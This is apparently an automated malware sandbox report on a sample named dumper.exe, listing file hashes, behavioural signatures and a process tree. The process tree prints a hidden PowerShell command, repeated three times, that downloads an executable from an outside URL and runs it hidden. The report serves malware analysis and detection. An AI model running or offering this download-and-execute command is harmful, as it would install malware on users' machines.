Analysis
- max time kernel
149s - max time network
149s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
29/05/2026, 16:56
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
dumper.exe
Resource
win10v2004-20260513-en
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
dumper.exe
Resource
win11-20260513-en
5 signatures
150 seconds
General
- Target dumper.exe
- Size 74KB
- Sample260529-vft7vsas3t
- SHA256 10694459a009a1cab8c71ed430a36914dbfd8c17934cc5272920d32e63c2a3fb
- MD5 0cb30ee16e94a37e5c7f71879e4bd7cf
- SHA1 a02ab106d8acdd5dea2a76f658d7082ad66125a0
- SHA512 91da8408ccffd9a90cb1a5aad1c2618bad5def5e8a9dd09e1f4dec541be543d41567ee60729e57716a973a471d91b3c6421c24a99d888be83d733f9a3231cbe5
- SSDEEP 768:pXDxrfh16qiyTT7v2aamAU0DUsRx4bOAu3qcleBHkMgiSCSRciLGZC8ZNeHq3oqk:pXNhwqfTHhVA8cxzZQRrSCS6g8DoD
- TLSH T1D9730A2A8E5540FBE26D99B8D5920902EB72FCC6479167CF57814CD20F636D4AF3FA02
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 4288 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4288 powershell.exe - Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 3416 dumper.exe 3416 dumper.exe 3416 dumper.exe 3416 dumper.exe 3416 dumper.exe 3416 dumper.exe 4288 powershell.exe 4288 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4288 powershell.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 3416 wrote to memory of 1620 3416 dumper.exe 81 PID 1620 wrote to memory of 3164 1620 cmd.exe 82 PID 3164 wrote to memory of 4288 3164 cmd.exe 84
Processes
-
C:\Users\Admin\AppData\Local\Temp\dumper.exe"C:\Users\Admin\AppData\Local\Temp\dumper.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3416 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK101562.exe; Start-Process -FilePath $env:TEMP\BK101562.exe -WindowStyle Hidden }"2⤵
- Suspicious use of WriteProcessMemory
PID:1620 -
C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK101562.exe; Start-Process -FilePath $env:TEMP\BK101562.exe -WindowStyle Hidden }"3⤵
- Suspicious use of WriteProcessMemory
PID:3164 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK101562.exe; Start-Process -FilePath $env:TEMP\BK101562.exe -WindowStyle Hidden }"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4288
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5cpvpqrz.k4n.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH